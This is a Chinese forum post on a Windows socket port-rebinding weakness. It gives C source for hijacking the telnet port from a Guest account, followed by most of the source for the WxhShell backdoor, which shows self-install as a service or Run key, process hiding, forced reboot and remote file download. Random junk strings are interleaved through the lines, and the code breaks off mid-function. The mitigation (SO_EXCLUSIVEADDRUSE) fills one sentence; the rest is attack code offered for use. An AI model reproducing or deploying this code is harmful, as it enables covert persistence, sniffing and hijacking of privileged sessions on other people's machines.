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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ry*NRP;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fU^B 3S6X  
^c{}G<U^  
  saddr.sin_family = AF_INET; Pm; /Ua  
5(bG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qQN&uBQ[  
eIc~J!?<&V  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {H s" "/sb  
7?j$Lwt  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;hR!j!3}  
e'aKI]>a  
  这意味着什么?意味着可以进行如下的攻击: :0>wm@qCQ  
4S|! iOY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ])h={gI  
G?12?2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) pv039~Sud  
q]q(zUtU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jfF,:(P%W  
+:1ay^YI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~a m]G0  
)l*H$8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }/BwFB+(/  
?TLEZlB2"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0(#HMBE8  
LB%_FT5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 KY/}jJW  
w~M5)b  
  #include KTxdZt  
  #include 5} |O  
  #include , M$*c  
  #include    SPW @TF1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >|SB]'C|  
  int main() 2#&9qGR  
  { hABC rd Em  
  WORD wVersionRequested; P$_Y:XI !  
  DWORD ret; >U~.I2sz  
  WSADATA wsaData; "{;]T  
  BOOL val; AWC zu5ve  
  SOCKADDR_IN saddr; :/ns/~5xa:  
  SOCKADDR_IN scaddr; Ne*I$T 5  
  int err; xjOy3_Js  
  SOCKET s; bT-(lIU  
  SOCKET sc; J]ivIQ  
  int caddsize; |#R;pEn  
  HANDLE mt; lqA U5K{wQ  
  DWORD tid;   >bxT_qEm  
  wVersionRequested = MAKEWORD( 2, 2 ); 8h9t8?  
  err = WSAStartup( wVersionRequested, &wsaData ); a*&P>Lwe7&  
  if ( err != 0 ) { 6"WR}S0o  
  printf("error!WSAStartup failed!\n"); A=|LMJMWR  
  return -1; l;U9dO}/[  
  } JGt4B  
  saddr.sin_family = AF_INET; V`~$| K[  
   /tA$ 'tZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M]!\X6<_  
w<j6ln+nM  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;+K:^*oJ  
  saddr.sin_port = htons(23); kac@yQD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6}R^L(^M  
  { DU$]e1  
  printf("error!socket failed!\n"); \*6%o0c  
  return -1; :Oo  
  } "-XL Y_  
  val = TRUE; 0*V RFd4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C.@R#a'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KL*ZPKG  
  { N^q*lV#kob  
  printf("error!setsockopt failed!\n"); oTo'? E#  
  return -1; #0`2wuo {  
  } 6k"Wy3/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xXH%7%W'f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C]*9:lK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l W'6rat  
(Z.K3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wM(!9Ws3  
  { ^mFuZ~g;?  
  ret=GetLastError(); NAV}q<@v  
  printf("error!bind failed!\n"); ?PiJ7|  
  return -1; VZYd CZ&l7  
  } E5 H6&XU  
  listen(s,2); jD0^,aiG  
  while(1) 'mpY2|]\$  
  { h+zJ"\  
  caddsize = sizeof(scaddr); s`Z(f:/6*  
  //接受连接请求 JXBW0|8b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KQ?E]}rZ  
  if(sc!=INVALID_SOCKET) )=9\6zXS  
  { IkH]W!_+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &GwBxJ  
  if(mt==NULL) /YH Bhoat  
  { :<gmgI  
  printf("Thread Creat Failed!\n"); .Xo, BEjE/  
  break; 1W8[ RET  
  } ^Ot+,l)  
  } v[CX-CBZ?  
  CloseHandle(mt); -x3QgDno  
  } 6VolTy@(x  
  closesocket(s); cg7NtY  
  WSACleanup(); X"J79?5  
  return 0; w|>:mQnU  
  }   ?A(=%c|,g  
  DWORD WINAPI ClientThread(LPVOID lpParam) W2tIt&{  
  { C5i]n? )S  
  SOCKET ss = (SOCKET)lpParam; 9+@_ZI-  
  SOCKET sc; //Ioh (N  
  unsigned char buf[4096]; =NAL*4c+  
  SOCKADDR_IN saddr; (Z)  
  long num; k<"ZNQm$.  
  DWORD val; Ha$|9li`  
  DWORD ret; ?ZdHuuDN~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f!P.=Qo[=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +%eMm.(  
  saddr.sin_family = AF_INET; ,V)yOLApVj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &k&tkE  
  saddr.sin_port = htons(23); nE]R0|4h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  gsc/IUk  
  { %,a.431gi  
  printf("error!socket failed!\n"); x_v pds  
  return -1; [HtU-8:  
  } P`[6IS#\S  
  val = 100; #1z}~1-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $]\N/}1v  
  { j!&g:{ e  
  ret = GetLastError(); +;`Cm.Iu  
  return -1; /QHvwaW[  
  } D!J ("~[3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9g J`H'  
  { ?.|qRzWL  
  ret = GetLastError(); vrGRZa  
  return -1; iK(n'X5i  
  } Mh>^~;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r&0v,WSp&S  
  { ," :ADO-  
  printf("error!socket connect failed!\n"); eXnMS!g%Z  
  closesocket(sc); 2aW&d=!ZV  
  closesocket(ss); S`K8e^]  
  return -1; =B*,S#r  
  } J.?6a:#bU/  
  while(1) M ,e_=aq  
  { 1P3^il7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DB:Ia5|*i  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i4'?/UPc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .2!'6;K  
  num = recv(ss,buf,4096,0); /V46:`V  
  if(num>0) O9=vz%  
  send(sc,buf,num,0); 8NPt[*  
  else if(num==0) p[hA?dXn  
  break; n8A*Y3~R  
  num = recv(sc,buf,4096,0); +_06{7@h  
  if(num>0) KSqWq:W+  
  send(ss,buf,num,0); pHni"i T  
  else if(num==0) uV52ko,  
  break; h?bm1e5kE  
  } e}(ws~.  
  closesocket(ss); }c| Xr^  
  closesocket(sc); w80g) 4V+  
  return 0 ; V\PGk<VO  
  } 0>4:(t7h\  
$}aLFb  
q,^^c1f  
========================================================== )+N%!(ki  
\2: JX?Jw!  
下边附上一个代码,,WXhSHELL 53=s'DZ  
I Vq9z  
========================================================== '2/48j X5  
}7X85@jC  
#include "stdafx.h" 5=., a5  
wB?;3lTS  
#include <stdio.h> 7od!:<v/  
#include <string.h> %z`bu2  
#include <windows.h> <{3VK  
#include <winsock2.h> :I+%v  
#include <winsvc.h> lk%rE  
#include <urlmon.h> FoInJ(PDH  
[FAoC3 k-h  
#pragma comment (lib, "Ws2_32.lib") -_%n\#  
#pragma comment (lib, "urlmon.lib") kJlRdt2  
U"aFi  
#define MAX_USER   100 // 最大客户端连接数 F4e<=R  
#define BUF_SOCK   200 // sock buffer d; oaG (e  
#define KEY_BUFF   255 // 输入 buffer H^B/ '#mO  
hoO8s#0ED  
#define REBOOT     0   // 重启 $0AN5 |`g\  
#define SHUTDOWN   1   // 关机 S3P;@Rm  
;I:jd")  
#define DEF_PORT   5000 // 监听端口 v /G,  
9H" u\t|?  
#define REG_LEN     16   // 注册表键长度 x a7x 2]~-  
#define SVC_LEN     80   // NT服务名长度 7 H.2]X  
0{@E=}}h  
// 从dll定义API Hp8)-eT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SE;Jl[PgcL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z[FSy-;"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3O:Z;YP:<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UKZsq5Q  
{&4+W=0 n  
// wxhshell配置信息 R% l=NHB}  
struct WSCFG { p3\F1](Z  
  int ws_port;         // 监听端口 =eDVgOZ)  
  char ws_passstr[REG_LEN]; // 口令 /V2Ih  
  int ws_autoins;       // 安装标记, 1=yes 0=no mG1=8{o^  
  char ws_regname[REG_LEN]; // 注册表键名 bEMD2ABm  
  char ws_svcname[REG_LEN]; // 服务名 ?r'rvu'/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R}#?A%,*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3(}W=oI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E/Q[J.$o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z$QYl*F1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -Z-|49I/mN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a^@6hC>sr  
SYw>P1  
}; u1~H1 ]Ii  
KaauX m  
// default Wxhshell configuration >TeTa l  
struct WSCFG wscfg={DEF_PORT, {3i.U028]  
    "xuhuanlingzhe", 0AZ Vc  
    1, `$AX!,<!G  
    "Wxhshell", H CZ#7Z  
    "Wxhshell", G9 ;X=c  
            "WxhShell Service", \{\*h/m  
    "Wrsky Windows CmdShell Service", MIsjTKE  
    "Please Input Your Password: ", #B88w9 b`D  
  1, "S,,BjL  
  "http://www.wrsky.com/wxhshell.exe", >j4;{r+eQw  
  "Wxhshell.exe" MQG(n+c  
    }; H]H*Ouu["e  
?.LS _e_0  
// 消息定义模块 .Lr;{B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x<>#G~-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P bj&l0C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D2#3fM6  
char *msg_ws_ext="\n\rExit."; &_x:+{06  
char *msg_ws_end="\n\rQuit."; \3"4;fM!i  
char *msg_ws_boot="\n\rReboot..."; }:])1!a  
char *msg_ws_poff="\n\rShutdown..."; T[`o$j6  
char *msg_ws_down="\n\rSave to "; Q;*TnVbJ  
9G[!"eZ}  
char *msg_ws_err="\n\rErr!"; U6t>UE6k  
char *msg_ws_ok="\n\rOK!"; rUc2'Ct  
(OLjE]9;  
char ExeFile[MAX_PATH]; %|*tL7  
int nUser = 0; C?fd.2#U  
HANDLE handles[MAX_USER]; [6`8^-}?  
int OsIsNt; ^a0{"|Lq  
}u5/  
SERVICE_STATUS       serviceStatus; hbl:~O&a/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H{x'I@+  
% r`hW \4{  
// 函数声明 )>QpR8 G-  
int Install(void); ^RAst1q7  
int Uninstall(void); <'>c`80@\*  
int DownloadFile(char *sURL, SOCKET wsh); v,I4ozDx  
int Boot(int flag); ve49m%NQ  
void HideProc(void); bJ4})P&  
int GetOsVer(void); E z?O gE{  
int Wxhshell(SOCKET wsl); I q]+O Q  
void TalkWithClient(void *cs); -y|>#`T/  
int CmdShell(SOCKET sock); )"/.2S;  
int StartFromService(void); [_Fj2nb*  
int StartWxhshell(LPSTR lpCmdLine); mSm:>hBd  
8oK*NB29  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?1T)cd*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j^;f {0f  
I<L  
// 数据结构和表定义 Y``50{7  
SERVICE_TABLE_ENTRY DispatchTable[] = fd! bs*\X  
{ o%;R4 s,  
{wscfg.ws_svcname, NTServiceMain}, vMu6u .e  
{NULL, NULL} >x9@ if  
}; lD)ZMaaS3  
Hb55RilC  
// 自我安装 D_]4]&QYT  
int Install(void) 4 3V {q  
{ & Xm !i(i  
  char svExeFile[MAX_PATH]; <'N"GLJ  
  HKEY key; }$i Kz*nx|  
  strcpy(svExeFile,ExeFile); ? l/VCEZP  
lHerEv<ja  
// 如果是win9x系统,修改注册表设为自启动 O?L6Ues  
if(!OsIsNt) { aO)Cq5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @`xR1pXQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JN)@bP  
  RegCloseKey(key); `yJ3"{uO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h]T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0`UI^Y~Q  
  RegCloseKey(key); I!1|);li  
  return 0; _zt)c!  
    } OIJNOuI  
  }  PgI H(  
} Iz^h| n  
else { 6i'GM`>w  
o1lhVM`15  
// 如果是NT以上系统,安装为系统服务 Y\75cfD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TS4Yzq,f  
if (schSCManager!=0) lt08 E2p9  
{ o]/*YaB2>  
  SC_HANDLE schService = CreateService IJ\4S  
  ( ^x2zMB\t  
  schSCManager, NH9"89]E  
  wscfg.ws_svcname, 3MX&%_wUhB  
  wscfg.ws_svcdisp, n x4:n@J  
  SERVICE_ALL_ACCESS, {6Y|Z>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V3D`pt\[x  
  SERVICE_AUTO_START, u+EZ"p;o  
  SERVICE_ERROR_NORMAL, RGEgYOO  
  svExeFile, 7}#zF]vHNi  
  NULL, B^Sxp=~Au  
  NULL, Gk:tT1  
  NULL, 5<U:Yy  
  NULL, 4N6JKS  
  NULL rDI}X?JmX  
  ); Lmsc ~~  
  if (schService!=0) 8]h~jNku  
  { 5tx!LGOK  
  CloseServiceHandle(schService); ":@\kw  
  CloseServiceHandle(schSCManager); ~'1gX`o:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &A}hx\_T  
  strcat(svExeFile,wscfg.ws_svcname); B']-4X{SGa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fk&>2[^&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rj}O2~W~4  
  RegCloseKey(key); >PuQ{T I  
  return 0; hZ_@U?^  
    } VO JA}$  
  } cY mgJBG  
  CloseServiceHandle(schSCManager); Th_PmkvC  
} B@w/wH  
} /_SQKpic  
moS0y?N  
return 1; 0:I[;Q t  
} AjVX  
e dTFk$0  
// 自我卸载 a\-AGG{2/X  
int Uninstall(void) :A7\eN5  
{ dJv2tVm&'  
  HKEY key; ,>!%KYD/f  
I'`90{I  
if(!OsIsNt) { t =V| '  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3c%_RI.  
  RegDeleteValue(key,wscfg.ws_regname); m^%@bu,  
  RegCloseKey(key); bog3=Ig-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3_bqDhVI5  
  RegDeleteValue(key,wscfg.ws_regname); hsB3zqotF  
  RegCloseKey(key); `%A vn<  
  return 0; ]A%]W^G  
  } fn#qcZv?  
} mUj_V#v  
} PctXh, =  
else { "7q!u,u  
F[(ocxQZ3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E)%D LZ  
if (schSCManager!=0) +pPfvE`  
{ ee/3=/H|;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `G0k)eW  
  if (schService!=0) Um^4[rl:#g  
  { )x+P9|  
  if(DeleteService(schService)!=0) { j*\oK@  
  CloseServiceHandle(schService); 40%fOu,u`  
  CloseServiceHandle(schSCManager); Nj;5iy  
  return 0; nuH=pIq6x  
  } 6(=B`Z}a  
  CloseServiceHandle(schService); fUMjLA|*I<  
  } GQ(*k)'a  
  CloseServiceHandle(schSCManager); \sz*M B  
} C(8VXtx_  
} O^J=19Ri  
d.|*sZ&3p  
return 1; e%s1D  
} 4< +f|(fIA  
dGglt Y  
// 从指定url下载文件 8WE@ X)e  
int DownloadFile(char *sURL, SOCKET wsh) IwXWtVL  
{ kXV;J$1  
  HRESULT hr; +E^2]F7Zk  
char seps[]= "/"; vHZq z<  
char *token; H#i,Ve '  
char *file; C7O8B;  
char myURL[MAX_PATH]; S B~opN  
char myFILE[MAX_PATH]; -Uan.#~S  
 !2kM  
strcpy(myURL,sURL); %QG3~b% h  
  token=strtok(myURL,seps); uK] -m  
  while(token!=NULL) 5dGfO:Dy_  
  { 9wlp AK  
    file=token; -T}r$A  
  token=strtok(NULL,seps); 15@2h  
  } %~I&T". iC  
|8pSMgN  
GetCurrentDirectory(MAX_PATH,myFILE); denxcDFu/~  
strcat(myFILE, "\\"); {#st>%i  
strcat(myFILE, file); ?q7MbQw  
  send(wsh,myFILE,strlen(myFILE),0); DKJ_g.]X  
send(wsh,"...",3,0); b@c(Nv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AyWdJ<OU  
  if(hr==S_OK) E[WU  
return 0; #.rkvoB0N  
else kebk f,`p  
return 1; W[I$([  
i=L 86Ks  
} {yv_Ni*6!  
A_l\ij$Y  
// 系统电源模块 ny{S&f  
int Boot(int flag) WMHYOJR  
{ Nyt*mbd5 {  
  HANDLE hToken; k-H6c  
  TOKEN_PRIVILEGES tkp; [;yKbw!C  
{+zG.1o^  
  if(OsIsNt) { #]dq^B~~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gg.]\#3g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B `.aQ  
    tkp.PrivilegeCount = 1; [(2^oTSRaq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fP:]s@$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gzlxkv-F{  
if(flag==REBOOT) { O&MH5^I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) whYk"N  
  return 0; wK0x\V6dJ  
} (kVY\!UAt  
else { ]isq}Qv~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -<g[P_#  
  return 0; e`co:HO`#  
} e/cHH3 4  
  } `+T 2IPN  
  else { De>e`./56  
if(flag==REBOOT) { r!1f>F*dt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "f8,9@  
  return 0; hP8w3gl_  
} 0r_~LN^|[  
else { Oe x   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]h~F%   
  return 0; i9Beap/t$  
} 0J^Z)U>j  
} w+"E{#N  
w>8HS+  
return 1; c0Bqm  
} 2<9K}Of  
z{&Av  
// win9x进程隐藏模块 ZJW8S  
void HideProc(void) uB^"A ;0v  
{ %19~9Tw  
|$6Ten[B#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zo-,TKgY'  
  if ( hKernel != NULL ) @sG*u >   
  { !@])Ut@tN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z6}p4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O:8 u^ TP  
    FreeLibrary(hKernel); C+P.7]?&  
  } rHjDf[5+  
C[<{>fl)  
return; 'zav%}b]L  
} V )Oot|  
1) K<x  
// 获取操作系统版本 x${C[gxq9F  
int GetOsVer(void) L-)ZjXzk  
{ jJw  
  OSVERSIONINFO winfo; 34X]b[^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jygUf|  
  GetVersionEx(&winfo); EZ{{p+e ^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5Pq6X  
  return 1; 9od c :  
  else N<@K(? '  
  return 0; `q\F C[W  
} /k ?l%AH  
 H{yBD xw  
// 客户端句柄模块 "!(@MfjT  
int Wxhshell(SOCKET wsl) lz6CK  
{ n|?sNM<J3  
  SOCKET wsh; zRmVV}b  
  struct sockaddr_in client; b$0;fEvIJn  
  DWORD myID; Q!3-P  
/s%-c!o^  
  while(nUser<MAX_USER) )X," NJG  
{ -W.-m2:1  
  int nSize=sizeof(client); 3 ^x&G?)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U+#^>}wc  
  if(wsh==INVALID_SOCKET) return 1; 4"Qb^y  
Yr~wsE/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JL!^R_b&c  
if(handles[nUser]==0) \D' mo  
  closesocket(wsh); </ "Wh4>C  
else N%'(8%;  
  nUser++; [kpQ:'P3  
  } >r C*.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  6W  
so1  
  return 0; sN-u?EiF8  
} KPDJ$,:  
]@cI_n  
// 关闭 socket ZvQZD=,F  
void CloseIt(SOCKET wsh) 7Y-Q, ?1  
{ w0@XJH:P  
closesocket(wsh); #g@4c3um|  
nUser--; Ct?xTFb  
ExitThread(0); uPbdzUk$  
} wSCI?  
\!jz1`]&{  
// 客户端请求句柄 901 5PEO  
void TalkWithClient(void *cs) Mv/ SU">F  
{ sr[[xzL  
?D7zty+}^  
  SOCKET wsh=(SOCKET)cs; q)o;iR  
  char pwd[SVC_LEN]; x4>"m(&%  
  char cmd[KEY_BUFF]; -6WSYpHV  
char chr[1]; |OAiHSW"V  
int i,j; BMQ4i&kF|  
~N}Zr$D  
  while (nUser < MAX_USER) { 4,W,E4 7  
x5xMr.vm  
if(wscfg.ws_passstr) { Pzd!"Gl9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rNicg]:\x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ">_|!B&wb^  
  //ZeroMemory(pwd,KEY_BUFF); l&e{GHz  
      i=0; O(-6Zqk8Q  
  while(i<SVC_LEN) { ^8bc<c:P  
jj;TS%  
  // 设置超时 3!cenyE  
  fd_set FdRead; "x.iD,>k  
  struct timeval TimeOut; kI04<!  
  FD_ZERO(&FdRead); Het>G{  
  FD_SET(wsh,&FdRead); 6C<GYzzo  
  TimeOut.tv_sec=8; %XBTN  
  TimeOut.tv_usec=0; N"RPCd_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a%a0/!U[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b;*'j9ly  
<Piq?&VX[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZybfqBTD&c  
  pwd=chr[0]; Wl=yxJu_(  
  if(chr[0]==0xd || chr[0]==0xa) { TG8U=9qt  
  pwd=0; vfj{j= G  
  break; <h+@;/v:  
  } a(|0 '^  
  i++; DzA'MX  
    } v8'XchJ  
W`oyDg,D  
  // 如果是非法用户,关闭 socket .waj.9&[l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R}3th/qf  
} K0o${%'@7  
MK! @ND  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C8qSoO4Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x $[_Hix  
;.xKVH/@  
while(1) { {*g{9`   
F4"bMN  
  ZeroMemory(cmd,KEY_BUFF); d:vc)]M>f{  
xL<c/B`-:  
      // 自动支持客户端 telnet标准   ^?\|2H  
  j=0; 9An \uH)mL  
  while(j<KEY_BUFF) { U6wy^!_X9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]Lg~ I#/#  
  cmd[j]=chr[0]; ZQir?1=  
  if(chr[0]==0xa || chr[0]==0xd) { )K::WqR%w)  
  cmd[j]=0; O[L#|_BnEO  
  break; HE_UHv  
  } (E,[Ad,$  
  j++; Unq~lt%2  
    } nFI<Te^)  
t5i58@{~  
  // 下载文件 :kE*  
  if(strstr(cmd,"http://")) { (M u;U!M"P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,CPAS}kS  
  if(DownloadFile(cmd,wsh)) ?dv-`)S&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ Al3Dv9x  
  else }wBpBw2J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  huyfo1(  
  } :i {; 81V  
  else { J{kS4v*J  
T%Cj#J&L  
    switch(cmd[0]) { z?VjlA(X  
  YwZx{%f  
  // 帮助 4s'%BM-r-  
  case '?': { 5{iNR4sq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /[/{m]  
    break; <"3${'$k`  
  } PBEi"`i  
  // 安装 aR@+Qf  
  case 'i': { <-G3Qgm  
    if(Install()) S1~K.<B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cH:&S=>h  
    else i PG:w+G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'L9hM.+  
    break; agruS'c g  
    } `(P71T  
  // 卸载 x;} 25A|  
  case 'r': { _(~ E8g  
    if(Uninstall()) UmMu|`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); { ] 0T  
    else pStb j`Eq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?|}qT05  
    break; d ( ru5*p  
    } ;l0%yg/}  
  // 显示 wxhshell 所在路径 (Jj xrZ+L  
  case 'p': { 9` VY)"rJ  
    char svExeFile[MAX_PATH]; :9x]5;ma  
    strcpy(svExeFile,"\n\r"); i-p,x0th  
      strcat(svExeFile,ExeFile); f w)tWJVD  
        send(wsh,svExeFile,strlen(svExeFile),0); 7PUy`H,&  
    break; cH|J  
    } 7i02M~*uS  
  // 重启 '^7UcgugB  
  case 'b': { Y,,Z47% E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O7.eq524  
    if(Boot(REBOOT)) _ /.VXW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +7 j/.R  
    else { OUO'w6m!  
    closesocket(wsh); + !nf?5;  
    ExitThread(0); N:#$S$  
    } QGGBI Ku   
    break; R3piI&u  
    } =,qY\@fq  
  // 关机 iYw1{U  
  case 'd': { O*]}0*CT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0(Z:QqpU$  
